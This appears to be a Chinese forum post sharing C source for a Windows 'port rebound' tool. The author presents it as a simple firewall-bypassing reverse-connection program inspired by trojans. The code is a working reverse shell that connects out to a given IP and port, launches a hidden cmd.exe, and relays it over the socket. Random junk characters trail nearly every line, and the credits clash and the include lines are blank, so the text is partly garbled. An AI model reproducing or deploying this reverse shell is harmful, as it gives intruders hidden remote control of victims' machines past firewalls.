Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 8_,wOkk_B  
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/* ============================== }6{)Jv  
Rebound port in Windows NT q>lkLHS  
By wind,2006/7 C]cT*B^  
===============================*/ aZCZ/  
#include 5N</Z6f'o  
#include n)7$x
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#pragma comment(lib,"wsock32.lib") \c^jaK5  
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void OutputShell(); kk./-G  
SOCKET sClient; 3:gO7Uv  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; v@1Jhns  
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void main(int argc,char **argv) `,]PM)iC  
{ -#z'A  
WSADATA stWsaData; XlcDF|?{.  
int nRet; Evgq}3  
SOCKADDR_IN stSaiClient,stSaiServer; 0JL6EL>_  
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if(argc != 3) iP\&fZY_  
{ I8wVvs;k  
printf("Useage:\n\rRebound DestIP DestPort\n"); E6\~/=X=%  
return; [?o vJ  
} {'bkU9+  
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WSAStartup(MAKEWORD(2,2),&stWsaData); H4",r5qw:  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4U1fPyt  
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stSaiClient.sin_family = AF_INET; t-m,~IoW  
stSaiClient.sin_port = htons(0); &zDFf9w2{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }(IDPa
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oa|*-nw  
{ weadY,-H8  
printf("Bind Socket Failed!\n"); |Dpfh  
return; p%tg->#L  
} 90k|u'ikOp  
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stSaiServer.sin_family = AF_INET; `%:(IGxz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Yzx0[_'u  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4T\/wyq0  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) W
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{ jmVy4* P_  
printf("Connect Error!"); \(t>(4s_~  
return; ;AA7wK 4  
} TTak[e&j3  
OutputShell(); j@\/]oL^We  
} k$- q;VI  
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void OutputShell() JU+'UK630  
{ KftM4SFbK  
char szBuff[1024]; Pu*UZcXY  
SECURITY_ATTRIBUTES stSecurityAttributes; |W];v@b\y  
OSVERSIONINFO stOsversionInfo; eV}Tx;1|}  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RxG./GY  
STARTUPINFO stStartupInfo; @
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char *szShell; YQs
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PROCESS_INFORMATION stProcessInformation; Y|jesa {x  
unsigned long lBytesRead; `;GGuJb \  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); m3e49 bP  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ZO$T/GE6%  
stSecurityAttributes.lpSecurityDescriptor = 0; 5ml}TSMu'  
stSecurityAttributes.bInheritHandle = TRUE; n:] 1^wX#  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p[:%Ck"$7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ?saVk7Z[|5  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); SXF_)1QO\W  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !}48;Pl  
stStartupInfo.wShowWindow = SW_HIDE; /a)=B)NH  
stStartupInfo.hStdInput = hReadPipe; Xh!Pg)|E  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 'mR+W{r  
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GetVersionEx(&stOsversionInfo); 1"PE@!
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switch(stOsversionInfo.dwPlatformId) 9F!&y-  
{ ~[6|VpGc:  
case 1: !qv;F?2 <g  
szShell = "command.com"; k]YGD  
break; W}3vY]  
default: feHAZ.8rp+  
szShell = "cmd.exe"; *&MkkI#  
break; LRs;>O  
} >*CK@"o  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); KK|Jach  
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send(sClient,szMsg,77,0); l))IO`s=_  
while(1) 63$m& ]x  
{ T0jJp7O  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ;Bi{;>3  
if(lBytesRead) ?Qk#;~\yB  
{ O,#[m:Ejb  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !%9I%Ak^  
send(sClient,szBuff,lBytesRead,0); DJUtuex  
} \(L^ /]}G)  
else LXl! !i%  
{ yK3z3"1M?  
lBytesRead=recv(sClient,szBuff,1024,0); EV$n>.  
if(lBytesRead<=0) break; "KwKO8f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NE"fyX`  
} A>yIH)b  
} T
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return; gp2)35  
}